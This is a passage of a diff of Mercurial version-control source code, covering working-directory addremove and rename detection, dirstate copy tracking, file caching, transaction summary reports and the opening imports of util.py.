             phases.retractboundary(repo, tr, phase, nodes)
         for phase, nodes in toadvance.items():
             phases.advanceboundary(repo, tr, phase, nodes)
 
         mayusearchived = repo.ui.config(b'experimental', b'cleanup-as-archived')
         # Obsolete or strip nodes
         if obsolete.isenabled(repo, obsolete.createmarkersopt):
             # If a node is already obsoleted, and we want to obsolete it
             # without a successor, skip that obssolete request since it's
             # unnecessary. That's the "if s or not isobs(n)" check below.
             # Also sort the node in topology order, that might be useful for
             # some obsstore logic.
             # NOTE: the sorting might belong to createmarkers.
             torev = unfi.changelog.rev
             sortfunc = lambda ns: torev(ns[0][0])
             rels = []
             for ns, s in sorted(replacements.items(), key=sortfunc):
                 rel = (tuple(unfi[n] for n in ns), tuple(unfi[m] for m in s))
                 rels.append(rel)
             if rels:
                 obsolete.createmarkers(
                     repo, rels, operation=operation, metadata=metadata
                 )
         elif phases.supportinternal(repo) and mayusearchived:
             # this assume we do not have "unstable" nodes above the cleaned ones
             allreplaced = set()
             for ns in replacements.keys():
                 allreplaced.update(ns)
             if backup:
                 from . import repair  # avoid import cycle
 
                 node = min(allreplaced, key=repo.changelog.rev)
                 repair.backupbundle(
                     repo, allreplaced, allreplaced, node, operation
                 )
             phases.retractboundary(repo, tr, phases.archived, allreplaced)
         else:
             from . import repair  # avoid import cycle
 
             tostrip = list(n for ns in replacements for n in ns)
             if tostrip:
                 repair.delayedstrip(
                     repo.ui, repo, tostrip, operation, backup=backup
                 )
 
 
 def addremove(repo, matcher, prefix, uipathfn, opts=None):
     if opts is None:
         opts = {}
     m = matcher
     dry_run = opts.get(b'dry_run')
     try:
         similarity = float(opts.get(b'similarity') or 0)
     except ValueError:
         raise error.Abort(_(b'similarity must be a number'))
     if similarity < 0 or similarity > 100:
         raise error.Abort(_(b'similarity must be between 0 and 100'))
     similarity /= 100.0
 
     ret = 0
 
     wctx = repo[None]
     for subpath in sorted(wctx.substate):
         submatch = matchmod.subdirmatcher(subpath, m)
         if opts.get(b'subrepos') or m.exact(subpath) or any(submatch.files()):
             sub = wctx.sub(subpath)
             subprefix = repo.wvfs.reljoin(prefix, subpath)
             subuipathfn = subdiruipathfn(subpath, uipathfn)
             try:
                 if sub.addremove(submatch, subprefix, subuipathfn, opts):
                     ret = 1
             except error.LookupError:
                 repo.ui.status(
                     _(b"skipping missing subrepository: %s\n")
                     % uipathfn(subpath)
                 )
 
     rejected = []
 
     def badfn(f, msg):
         if f in m.files():
             m.bad(f, msg)
         rejected.append(f)
 
     badmatch = matchmod.badmatch(m, badfn)
     added, unknown, deleted, removed, forgotten = _interestingfiles(
         repo, badmatch
     )
 
     unknownset = set(unknown + forgotten)
     toprint = unknownset.copy()
     toprint.update(deleted)
     for abs in sorted(toprint):
         if repo.ui.verbose or not m.exact(abs):
             if abs in unknownset:
                 status = _(b'adding %s\n') % uipathfn(abs)
                 label = b'ui.addremove.added'
             else:
                 status = _(b'removing %s\n') % uipathfn(abs)
                 label = b'ui.addremove.removed'
             repo.ui.status(status, label=label)
 
     renames = _findrenames(
         repo, m, added + unknown, removed + deleted, similarity, uipathfn
     )
 
     if not dry_run:
         _markchanges(repo, unknown + forgotten, deleted, renames)
 
     for f in rejected:
         if f in m.files():
             return 1
     return ret
 
 
 def marktouched(repo, files, similarity=0.0):
     '''Assert that files have somehow been operated upon. files are relative to
     the repo root.'''
     m = matchfiles(repo, files, badfn=lambda x, y: rejected.append(x))
     rejected = []
 
     added, unknown, deleted, removed, forgotten = _interestingfiles(repo, m)
 
     if repo.ui.verbose:
         unknownset = set(unknown + forgotten)
         toprint = unknownset.copy()
         toprint.update(deleted)
         for abs in sorted(toprint):
             if abs in unknownset:
                 status = _(b'adding %s\n') % abs
             else:
                 status = _(b'removing %s\n') % abs
             repo.ui.status(status)
 
     # TODO: We should probably have the caller pass in uipathfn and apply it to
     # the messages above too. legacyrelativevalue=True is consistent with how
     # it used to work.
     uipathfn = getuipathfn(repo, legacyrelativevalue=True)
     renames = _findrenames(
         repo, m, added + unknown, removed + deleted, similarity, uipathfn
     )
 
     _markchanges(repo, unknown + forgotten, deleted, renames)
 
     for f in rejected:
         if f in m.files():
             return 1
     return 0
 
 
 def _interestingfiles(repo, matcher):
     '''Walk dirstate with matcher, looking for files that addremove would care
     about.
 
     This is different from dirstate.status because it doesn't care about
     whether files are modified or clean.'''
     added, unknown, deleted, removed, forgotten = [], [], [], [], []
     audit_path = pathutil.pathauditor(repo.root, cached=True)
 
     ctx = repo[None]
     dirstate = repo.dirstate
     matcher = repo.narrowmatch(matcher, includeexact=True)
     walkresults = dirstate.walk(
         matcher,
         subrepos=sorted(ctx.substate),
         unknown=True,
         ignored=False,
         full=False,
     )
     for abs, st in pycompat.iteritems(walkresults):
         dstate = dirstate[abs]
         if dstate == b'?' and audit_path.check(abs):
             unknown.append(abs)
         elif dstate != b'r' and not st:
             deleted.append(abs)
         elif dstate == b'r' and st:
             forgotten.append(abs)
         # for finding renames
         elif dstate == b'r' and not st:
             removed.append(abs)
         elif dstate == b'a':
             added.append(abs)
 
     return added, unknown, deleted, removed, forgotten
 
 
 def _findrenames(repo, matcher, added, removed, similarity, uipathfn):
     '''Find renames from removed files to added ones.'''
     renames = {}
     if similarity > 0:
         for old, new, score in similar.findrenames(
             repo, added, removed, similarity
         ):
             if (
                 repo.ui.verbose
                 or not matcher.exact(old)
                 or not matcher.exact(new)
             ):
                 repo.ui.status(
                     _(
                         b'recording removal of %s as rename to %s '
                         b'(%d%% similar)\n'
                     )
                     % (uipathfn(old), uipathfn(new), score * 100)
                 )
             renames[new] = old
     return renames
 
 
 def _markchanges(repo, unknown, deleted, renames):
     '''Marks the files in unknown as added, the files in deleted as removed,
     and the files in renames as copied.'''
     wctx = repo[None]
     with repo.wlock():
         wctx.forget(deleted)
         wctx.add(unknown)
         for new, old in pycompat.iteritems(renames):
             wctx.copy(old, new)
 
 
 def getrenamedfn(repo, endrev=None):
     if copiesmod.usechangesetcentricalgo(repo):
 
         def getrenamed(fn, rev):
             ctx = repo[rev]
             p1copies = ctx.p1copies()
             if fn in p1copies:
                 return p1copies[fn]
             p2copies = ctx.p2copies()
             if fn in p2copies:
                 return p2copies[fn]
             return None
 
         return getrenamed
 
     rcache = {}
     if endrev is None:
         endrev = len(repo)
 
     def getrenamed(fn, rev):
         '''looks up all renames for a file (up to endrev) the first
         time the file is given. It indexes on the changerev and only
         parses the manifest if linkrev != changerev.
         Returns rename info for fn at changerev rev.'''
         if fn not in rcache:
             rcache[fn] = {}
             fl = repo.file(fn)
             for i in fl:
                 lr = fl.linkrev(i)
                 renamed = fl.renamed(fl.node(i))
                 rcache[fn][lr] = renamed and renamed[0]
                 if lr >= endrev:
                     break
         if rev in rcache[fn]:
             return rcache[fn][rev]
 
         # If linkrev != rev (i.e. rev not found in rcache) fallback to
         # filectx logic.
         try:
             return repo[rev][fn].copysource()
         except error.LookupError:
             return None
 
     return getrenamed
 
 
 def getcopiesfn(repo, endrev=None):
     if copiesmod.usechangesetcentricalgo(repo):
 
         def copiesfn(ctx):
             if ctx.p2copies():
                 allcopies = ctx.p1copies().copy()
                 # There should be no overlap
                 allcopies.update(ctx.p2copies())
                 return sorted(allcopies.items())
             else:
                 return sorted(ctx.p1copies().items())
 
     else:
         getrenamed = getrenamedfn(repo, endrev)
 
         def copiesfn(ctx):
             copies = []
             for fn in ctx.files():
                 rename = getrenamed(fn, ctx.rev())
                 if rename:
                     copies.append((fn, rename))
             return copies
 
     return copiesfn
 
 
 def dirstatecopy(ui, repo, wctx, src, dst, dryrun=False, cwd=None):
     """Update the dirstate to reflect the intent of copying src to dst. For
     different reasons it might not end with dst being marked as copied from src.
     """
     origsrc = repo.dirstate.copied(src) or src
     if dst == origsrc:  # copying back a copy?
         if repo.dirstate[dst] not in b'mn' and not dryrun:
             repo.dirstate.normallookup(dst)
     else:
         if repo.dirstate[origsrc] == b'a' and origsrc == src:
             if not ui.quiet:
                 ui.warn(
                     _(
                         b"%s has not been committed yet, so no copy "
                         b"data will be stored for %s.\n"
                     )
                     % (repo.pathto(origsrc, cwd), repo.pathto(dst, cwd))
                 )
             if repo.dirstate[dst] in b'?r' and not dryrun:
                 wctx.add([dst])
         elif not dryrun:
             wctx.copy(origsrc, dst)
 
 
 def movedirstate(repo, newctx, match=None):
     """Move the dirstate to newctx and adjust it as necessary.
 
     A matcher can be provided as an optimization. It is probably a bug to pass
     a matcher that doesn't match all the differences between the parent of the
     working copy and newctx.
     """
     oldctx = repo[b'.']
     ds = repo.dirstate
     ds.setparents(newctx.node(), nullid)
     copies = dict(ds.copies())
     s = newctx.status(oldctx, match=match)
     for f in s.modified:
         if ds[f] == b'r':
             # modified + removed -> removed
             continue
         ds.normallookup(f)
 
     for f in s.added:
         if ds[f] == b'r':
             # added + removed -> unknown
             ds.drop(f)
         elif ds[f] != b'a':
             ds.add(f)
 
     for f in s.removed:
         if ds[f] == b'a':
             # removed + added -> normal
             ds.normallookup(f)
         elif ds[f] != b'r':
             ds.remove(f)
 
     # Merge old parent and old working dir copies
     oldcopies = copiesmod.pathcopies(newctx, oldctx, match)
     oldcopies.update(copies)
     copies = dict(
         (dst, oldcopies.get(src, src))
         for dst, src in pycompat.iteritems(oldcopies)
     )
     # Adjust the dirstate copies
     for dst, src in pycompat.iteritems(copies):
         if src not in newctx or dst in newctx or ds[dst] != b'a':
             src = None
         ds.copy(src, dst)
 
 
 def writerequires(opener, requirements):
     with opener(b'requires', b'w', atomictemp=True) as fp:
         for r in sorted(requirements):
             fp.write(b"%s\n" % r)
 
 
 class filecachesubentry(object):
     def __init__(self, path, stat):
         self.path = path
         self.cachestat = None
         self._cacheable = None
 
         if stat:
             self.cachestat = filecachesubentry.stat(self.path)
 
             if self.cachestat:
                 self._cacheable = self.cachestat.cacheable()
             else:
                 # None means we don't know yet
                 self._cacheable = None
 
     def refresh(self):
         if self.cacheable():
             self.cachestat = filecachesubentry.stat(self.path)
 
     def cacheable(self):
         if self._cacheable is not None:
             return self._cacheable
 
         # we don't know yet, assume it is for now
         return True
 
     def changed(self):
         # no point in going further if we can't cache it
         if not self.cacheable():
             return True
 
         newstat = filecachesubentry.stat(self.path)
 
         # we may not know if it's cacheable yet, check again now
         if newstat and self._cacheable is None:
             self._cacheable = newstat.cacheable()
 
             # check again
             if not self._cacheable:
                 return True
 
         if self.cachestat != newstat:
             self.cachestat = newstat
             return True
         else:
             return False
 
     @staticmethod
     def stat(path):
         try:
             return util.cachestat(path)
         except OSError as e:
             if e.errno != errno.ENOENT:
                 raise
 
 
 class filecacheentry(object):
     def __init__(self, paths, stat=True):
         self._entries = []
         for path in paths:
             self._entries.append(filecachesubentry(path, stat))
 
     def changed(self):
         '''true if any entry has changed'''
         for entry in self._entries:
             if entry.changed():
                 return True
         return False
 
     def refresh(self):
         for entry in self._entries:
             entry.refresh()
 
 
 class filecache(object):
     """A property like decorator that tracks files under .hg/ for updates.
 
     On first access, the files defined as arguments are stat()ed and the
     results cached. The decorated function is called. The results are stashed
     away in a ``_filecache`` dict on the object whose method is decorated.
 
     On subsequent access, the cached result is used as it is set to the
     instance dictionary.
 
     On external property set/delete operations, the caller must update the
     corresponding _filecache entry appropriately. Use __class__.<attr>.set()
     instead of directly setting <attr>.
 
     When using the property API, the cached data is always used if available.
     No stat() is performed to check if the file has changed.
 
     Others can muck about with the state of the ``_filecache`` dict. e.g. they
     can populate an entry before the property's getter is called. In this case,
     entries in ``_filecache`` will be used during property operations,
     if available. If the underlying file changes, it is up to external callers
     to reflect this by e.g. calling ``delattr(obj, attr)`` to remove the cached
     method result as well as possibly calling ``del obj._filecache[attr]`` to
     remove the ``filecacheentry``.
     """
 
     def __init__(self, *paths):
         self.paths = paths
 
     def join(self, obj, fname):
         """Used to compute the runtime path of a cached file.
 
         Users should subclass filecache and provide their own version of this
         function to call the appropriate join function on 'obj' (an instance
         of the class that its member function was decorated).
         """
         raise NotImplementedError
 
     def __call__(self, func):
         self.func = func
         self.sname = func.__name__
         self.name = pycompat.sysbytes(self.sname)
         return self
 
     def __get__(self, obj, type=None):
         # if accessed on the class, return the descriptor itself.
         if obj is None:
             return self
 
         assert self.sname not in obj.__dict__
 
         entry = obj._filecache.get(self.name)
 
         if entry:
             if entry.changed():
                 entry.obj = self.func(obj)
         else:
             paths = [self.join(obj, path) for path in self.paths]
 
             # We stat -before- creating the object so our cache doesn't lie if
             # a writer modified between the time we read and stat
             entry = filecacheentry(paths, True)
             entry.obj = self.func(obj)
 
             obj._filecache[self.name] = entry
 
         obj.__dict__[self.sname] = entry.obj
         return entry.obj
 
     # don't implement __set__(), which would make __dict__ lookup as slow as
     # function call.
 
     def set(self, obj, value):
         if self.name not in obj._filecache:
             # we add an entry for the missing value because X in __dict__
             # implies X in _filecache
             paths = [self.join(obj, path) for path in self.paths]
             ce = filecacheentry(paths, False)
             obj._filecache[self.name] = ce
         else:
             ce = obj._filecache[self.name]
 
         ce.obj = value  # update cached copy
         obj.__dict__[self.sname] = value  # update copy returned by obj.x
 
 
 def extdatasource(repo, source):
     """Gather a map of rev -> value dict from the specified source
 
     A source spec is treated as a URL, with a special case shell: type
     for parsing the output from a shell command.
 
     The data is parsed as a series of newline-separated records where
     each record is a revision specifier optionally followed by a space
     and a freeform string value. If the revision is known locally, it
     is converted to a rev, otherwise the record is skipped.
 
     Note that both key and value are treated as UTF-8 and converted to
     the local encoding. This allows uniformity between local and
     remote data sources.
     """
 
     spec = repo.ui.config(b"extdata", source)
     if not spec:
         raise error.Abort(_(b"unknown extdata source '%s'") % source)
 
     data = {}
     src = proc = None
     try:
         if spec.startswith(b"shell:"):
             # external commands should be run relative to the repo root
             cmd = spec[6:]
             proc = subprocess.Popen(
                 procutil.tonativestr(cmd),
                 shell=True,
                 bufsize=-1,
                 close_fds=procutil.closefds,
                 stdout=subprocess.PIPE,
                 cwd=procutil.tonativestr(repo.root),
             )
             src = proc.stdout
         else:
             # treat as a URL or file
             src = url.open(repo.ui, spec)
         for l in src:
             if b" " in l:
                 k, v = l.strip().split(b" ", 1)
             else:
                 k, v = l.strip(), b""
 
             k = encoding.tolocal(k)
             try:
                 data[revsingle(repo, k).rev()] = encoding.tolocal(v)
             except (error.LookupError, error.RepoLookupError):
                 pass  # we ignore data for nodes that don't exist locally
     finally:
         if proc:
             try:
                 proc.communicate()
             except ValueError:
                 # This happens if we started iterating src and then
                 # get a parse error on a line. It should be safe to ignore.
                 pass
         if src:
             src.close()
     if proc and proc.returncode != 0:
         raise error.Abort(
             _(b"extdata command '%s' failed: %s")
             % (cmd, procutil.explainexit(proc.returncode))
         )
 
     return data
 
 
 def _locksub(repo, lock, envvar, cmd, environ=None, *args, **kwargs):
     if lock is None:
         raise error.LockInheritanceContractViolation(
             b'lock can only be inherited while held'
         )
     if environ is None:
         environ = {}
     with lock.inherit() as locker:
         environ[envvar] = locker
         return repo.ui.system(cmd, environ=environ, *args, **kwargs)
 
 
 def wlocksub(repo, cmd, *args, **kwargs):
     """run cmd as a subprocess that allows inheriting repo's wlock
 
     This can only be called while the wlock is held. This takes all the
     arguments that ui.system does, and returns the exit code of the
     subprocess."""
     return _locksub(
         repo, repo.currentwlock(), b'HG_WLOCK_LOCKER', cmd, *args, **kwargs
     )
 
 
 class progress(object):
     def __init__(self, ui, updatebar, topic, unit=b"", total=None):
         self.ui = ui
         self.pos = 0
         self.topic = topic
         self.unit = unit
         self.total = total
         self.debug = ui.configbool(b'progress', b'debug')
         self._updatebar = updatebar
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_value, exc_tb):
         self.complete()
 
     def update(self, pos, item=b"", total=None):
         assert pos is not None
         if total:
             self.total = total
         self.pos = pos
         self._updatebar(self.topic, self.pos, item, self.unit, self.total)
         if self.debug:
             self._printdebug(item)
 
     def increment(self, step=1, item=b"", total=None):
         self.update(self.pos + step, item, total)
 
     def complete(self):
         self.pos = None
         self.unit = b""
         self.total = None
         self._updatebar(self.topic, self.pos, b"", self.unit, self.total)
 
     def _printdebug(self, item):
         if self.unit:
             unit = b' ' + self.unit
         if item:
             item = b' ' + item
 
         if self.total:
             pct = 100.0 * self.pos / self.total
             self.ui.debug(
                 b'%s:%s %d/%d%s (%4.2f%%)\n'
                 % (self.topic, item, self.pos, self.total, unit, pct)
             )
         else:
             self.ui.debug(b'%s:%s %d%s\n' % (self.topic, item, self.pos, unit))
 
 
 def gdinitconfig(ui):
     """helper function to know if a repo should be created as general delta
     """
     # experimental config: format.generaldelta
     return ui.configbool(b'format', b'generaldelta') or ui.configbool(
         b'format', b'usegeneraldelta'
     )
 
 
 def gddeltaconfig(ui):
     """helper function to know if incoming delta should be optimised
     """
     # experimental config: format.generaldelta
     return ui.configbool(b'format', b'generaldelta')
 
 
 class simplekeyvaluefile(object):
     """A simple file with key=value lines
 
     Keys must be alphanumerics and start with a letter, values must not
     contain '\n' characters"""
 
     firstlinekey = b'__firstline'
 
     def __init__(self, vfs, path, keys=None):
         self.vfs = vfs
         self.path = path
 
     def read(self, firstlinenonkeyval=False):
         """Read the contents of a simple key-value file
 
         'firstlinenonkeyval' indicates whether the first line of file should
         be treated as a key-value pair or reuturned fully under the
         __firstline key."""
         lines = self.vfs.readlines(self.path)
         d = {}
         if firstlinenonkeyval:
             if not lines:
                 e = _(b"empty simplekeyvalue file")
                 raise error.CorruptedState(e)
             # we don't want to include '\n' in the __firstline
             d[self.firstlinekey] = lines[0][:-1]
             del lines[0]
 
         try:
             # the 'if line.strip()' part prevents us from failing on empty
             # lines which only contain '\n' therefore are not skipped
             # by 'if line'
             updatedict = dict(
                 line[:-1].split(b'=', 1) for line in lines if line.strip()
             )
             if self.firstlinekey in updatedict:
                 e = _(b"%r can't be used as a key")
                 raise error.CorruptedState(e % self.firstlinekey)
             d.update(updatedict)
         except ValueError as e:
             raise error.CorruptedState(stringutil.forcebytestr(e))
         return d
 
     def write(self, data, firstline=None):
         """Write key=>value mapping to a file
         data is a dict. Keys must be alphanumerical and start with a letter.
         Values must not contain newline characters.
 
         If 'firstline' is not None, it is written to file before
         everything else, as it is, not in a key=value form"""
         lines = []
         if firstline is not None:
             lines.append(b'%s\n' % firstline)
 
         for k, v in data.items():
             if k == self.firstlinekey:
                 e = b"key name '%s' is reserved" % self.firstlinekey
                 raise error.ProgrammingError(e)
             if not k[0:1].isalpha():
                 e = b"keys must start with a letter in a key-value file"
                 raise error.ProgrammingError(e)
             if not k.isalnum():
                 e = b"invalid key name in a simple key-value file"
                 raise error.ProgrammingError(e)
             if b'\n' in v:
                 e = b"invalid value in a simple key-value file"
                 raise error.ProgrammingError(e)
             lines.append(b"%s=%s\n" % (k, v))
         with self.vfs(self.path, mode=b'wb', atomictemp=True) as fp:
             fp.write(b''.join(lines))
 
 
 _reportobsoletedsource = [
     b'debugobsolete',
     b'pull',
     b'push',
     b'serve',
     b'unbundle',
 ]
 
 _reportnewcssource = [
     b'pull',
     b'unbundle',
 ]
 
 
 def prefetchfiles(repo, revs, match):
     """Invokes the registered file prefetch functions, allowing extensions to
     ensure the corresponding files are available locally, before the command
     uses them."""
     if match:
         # The command itself will complain about files that don't exist, so
         # don't duplicate the message.
         match = matchmod.badmatch(match, lambda fn, msg: None)
     else:
         match = matchall(repo)
 
     fileprefetchhooks(repo, revs, match)
 
 
 # a list of (repo, revs, match) prefetch functions
 fileprefetchhooks = util.hooks()
 
 # A marker that tells the evolve extension to suppress its own reporting
 _reportstroubledchangesets = True
 
 
 def registersummarycallback(repo, otr, txnname=b''):
     """register a callback to issue a summary after the transaction is closed
     """
 
     def txmatch(sources):
         return any(txnname.startswith(source) for source in sources)
 
     categories = []
 
     def reportsummary(func):
         """decorator for report callbacks."""
         # The repoview life cycle is shorter than the one of the actual
         # underlying repository. So the filtered object can die before the
         # weakref is used leading to troubles. We keep a reference to the
         # unfiltered object and restore the filtering when retrieving the
         # repository through the weakref.
         filtername = repo.filtername
         reporef = weakref.ref(repo.unfiltered())
 
         def wrapped(tr):
             repo = reporef()
             if filtername:
                 repo = repo.filtered(filtername)
             func(repo, tr)
 
         newcat = b'%02i-txnreport' % len(categories)
         otr.addpostclose(newcat, wrapped)
         categories.append(newcat)
         return wrapped
 
     @reportsummary
     def reportchangegroup(repo, tr):
         cgchangesets = tr.changes.get(b'changegroup-count-changesets', 0)
         cgrevisions = tr.changes.get(b'changegroup-count-revisions', 0)
         cgfiles = tr.changes.get(b'changegroup-count-files', 0)
         cgheads = tr.changes.get(b'changegroup-count-heads', 0)
         if cgchangesets or cgrevisions or cgfiles:
             htext = b""
             if cgheads:
                 htext = _(b" (%+d heads)") % cgheads
             msg = _(b"added %d changesets with %d changes to %d files%s\n")
             repo.ui.status(msg % (cgchangesets, cgrevisions, cgfiles, htext))
 
     if txmatch(_reportobsoletedsource):
 
         @reportsummary
         def reportobsoleted(repo, tr):
             obsoleted = obsutil.getobsoleted(repo, tr)
             newmarkers = len(tr.changes.get(b'obsmarkers', ()))
             if newmarkers:
                 repo.ui.status(_(b'%i new obsolescence markers\n') % newmarkers)
             if obsoleted:
                 repo.ui.status(_(b'obsoleted %i changesets\n') % len(obsoleted))
 
     if obsolete.isenabled(
         repo, obsolete.createmarkersopt
     ) and repo.ui.configbool(
         b'experimental', b'evolution.report-instabilities'
     ):
         instabilitytypes = [
             (b'orphan', b'orphan'),
             (b'phase-divergent', b'phasedivergent'),
             (b'content-divergent', b'contentdivergent'),
         ]
 
         def getinstabilitycounts(repo):
             filtered = repo.changelog.filteredrevs
             counts = {}
             for instability, revset in instabilitytypes:
                 counts[instability] = len(
                     set(obsolete.getrevs(repo, revset)) - filtered
                 )
             return counts
 
         oldinstabilitycounts = getinstabilitycounts(repo)
 
         @reportsummary
         def reportnewinstabilities(repo, tr):
             newinstabilitycounts = getinstabilitycounts(repo)
             for instability, revset in instabilitytypes:
                 delta = (
                     newinstabilitycounts[instability]
                     - oldinstabilitycounts[instability]
                 )
                 msg = getinstabilitymessage(delta, instability)
                 if msg:
                     repo.ui.warn(msg)
 
     if txmatch(_reportnewcssource):
 
         @reportsummary
         def reportnewcs(repo, tr):
             """Report the range of new revisions pulled/unbundled."""
             origrepolen = tr.changes.get(b'origrepolen', len(repo))
             unfi = repo.unfiltered()
             if origrepolen >= len(unfi):
                 return
 
             # Compute the bounds of new visible revisions' range.
             revs = smartset.spanset(repo, start=origrepolen)
             if revs:
                 minrev, maxrev = repo[revs.min()], repo[revs.max()]
 
                 if minrev == maxrev:
                     revrange = minrev
                 else:
                     revrange = b'%s:%s' % (minrev, maxrev)
                 draft = len(repo.revs(b'%ld and draft()', revs))
                 secret = len(repo.revs(b'%ld and secret()', revs))
                 if not (draft or secret):
                     msg = _(b'new changesets %s\n') % revrange
                 elif draft and secret:
                     msg = _(b'new changesets %s (%d drafts, %d secrets)\n')
                     msg %= (revrange, draft, secret)
                 elif draft:
                     msg = _(b'new changesets %s (%d drafts)\n')
                     msg %= (revrange, draft)
                 elif secret:
                     msg = _(b'new changesets %s (%d secrets)\n')
                     msg %= (revrange, secret)
                 else:
                     errormsg = b'entered unreachable condition'
                     raise error.ProgrammingError(errormsg)
                 repo.ui.status(msg)
 
             # search new changesets directly pulled as obsolete
             duplicates = tr.changes.get(b'revduplicates', ())
             obsadded = unfi.revs(
                 b'(%d: + %ld) and obsolete()', origrepolen, duplicates
             )
             cl = repo.changelog
             extinctadded = [r for r in obsadded if r not in cl]
             if extinctadded:
                 # They are not just obsolete, but obsolete and invisible
                 # we call them "extinct" internally but the terms have not been
                 # exposed to users.
                 msg = b'(%d other changesets obsolete on arrival)\n'
                 repo.ui.status(msg % len(extinctadded))
 
         @reportsummary
         def reportphasechanges(repo, tr):
             """Report statistics of phase changes for changesets pre-existing
             pull/unbundle.
             """
             origrepolen = tr.changes.get(b'origrepolen', len(repo))
             phasetracking = tr.changes.get(b'phases', {})
             if not phasetracking:
                 return
             published = [
                 rev
                 for rev, (old, new) in pycompat.iteritems(phasetracking)
                 if new == phases.public and rev < origrepolen
             ]
             if not published:
                 return
             repo.ui.status(
                 _(b'%d local changesets published\n') % len(published)
             )
 
 
 def getinstabilitymessage(delta, instability):
     """function to return the message to show warning about new instabilities
 
     exists as a separate function so that extension can wrap to show more
     information like how to fix instabilities"""
     if delta > 0:
         return _(b'%i new %s changesets\n') % (delta, instability)
 
 
 def nodesummaries(repo, nodes, maxnumnodes=4):
     if len(nodes) <= maxnumnodes or repo.ui.verbose:
         return b' '.join(short(h) for h in nodes)
     first = b' '.join(short(h) for h in nodes[:maxnumnodes])
     return _(b"%s and %d others") % (first, len(nodes) - maxnumnodes)
 
 
 def enforcesinglehead(repo, tr, desc, accountclosed=False):
     """check that no named branch has multiple heads"""
     if desc in (b'strip', b'repair'):
         # skip the logic during strip
         return
     visible = repo.filtered(b'visible')
     # possible improvement: we could restrict the check to affected branch
     bm = visible.branchmap()
     for name in bm:
         heads = bm.branchheads(name, closed=accountclosed)
         if len(heads) > 1:
             msg = _(b'rejecting multiple heads on branch "%s"')
             msg %= name
             hint = _(b'%d heads: %s')
             hint %= (len(heads), nodesummaries(repo, heads))
             raise error.Abort(msg, hint=hint)
 
 
 def wrapconvertsink(sink):
     """Allow extensions to wrap the sink returned by convcmd.convertsink()
     before it is used, whether or not the convert extension was formally loaded.
     """
     return sink
 
 
 def unhidehashlikerevs(repo, specs, hiddentype):
     """parse the user specs and unhide changesets whose hash or revision number
     is passed.
 
     hiddentype can be: 1) 'warn': warn while unhiding changesets
                        2) 'nowarn': don't warn while unhiding changesets
 
     returns a repo object with the required changesets unhidden
     """
     if not repo.filtername or not repo.ui.configbool(
         b'experimental', b'directaccess'
     ):
         return repo
 
     if repo.filtername not in (b'visible', b'visible-hidden'):
         return repo
 
     symbols = set()
     for spec in specs:
         try:
             tree = revsetlang.parse(spec)
         except error.ParseError:  # will be reported by scmutil.revrange()
             continue
 
         symbols.update(revsetlang.gethashlikesymbols(tree))
 
     if not symbols:
         return repo
 
     revs = _getrevsfromsymbols(repo, symbols)
 
     if not revs:
         return repo
 
     if hiddentype == b'warn':
         unfi = repo.unfiltered()
         revstr = b", ".join([pycompat.bytestr(unfi[l]) for l in revs])
         repo.ui.warn(
             _(
                 b"warning: accessing hidden changesets for write "
                 b"operation: %s\n"
             )
             % revstr
         )
 
     # we have to use new filtername to separate branch/tags cache until we can
     # disbale these cache when revisions are dynamically pinned.
     return repo.filtered(b'visible-hidden', revs)
 
 
 def _getrevsfromsymbols(repo, symbols):
     """parse the list of symbols and returns a set of revision numbers of hidden
     changesets present in symbols"""
     revs = set()
     unfi = repo.unfiltered()
     unficl = unfi.changelog
     cl = repo.changelog
     tiprev = len(unficl)
     allowrevnums = repo.ui.configbool(b'experimental', b'directaccess.revnums')
     for s in symbols:
         try:
             n = int(s)
             if n <= tiprev:
                 if not allowrevnums:
                     continue
                 else:
                     if n not in cl:
                         revs.add(n)
                     continue
         except ValueError:
             pass
 
         try:
             s = resolvehexnodeidprefix(unfi, s)
         except (error.LookupError, error.WdirUnsupported):
             s = None
 
         if s is not None:
             rev = unficl.rev(s)
             if rev not in cl:
                 revs.add(rev)
 
     return revs
 
 
 def bookmarkrevs(repo, mark):
     """
     Select revisions reachable by a given bookmark
     """
     return repo.revs(
         b"ancestors(bookmark(%s)) - "
         b"ancestors(head() and not bookmark(%s)) - "
         b"ancestors(bookmark() and not bookmark(%s))",
         mark,
         mark,
         mark,
     )

mercurial/util.py

@@ -1,3609 +1,3601 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import socket
 import stat
 import sys
 import time
 import traceback
 import warnings
 
 from .thirdparty import attr
 from .pycompat import (
     delattr,
     getattr,
     open,
     setattr,
 )
 from hgdemandimport import tracing
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     compression,
     procutil,
     stringutil,
 )
 
 base85 = policy.importmod('base85')
 osutil = policy.importmod('osutil')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 safehasattr = pycompat.safehasattr
 socketserver = pycompat.socketserver
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 if pycompat.iswindows:
     from . import windows as platform
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 expandglobs = platform.expandglobs
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
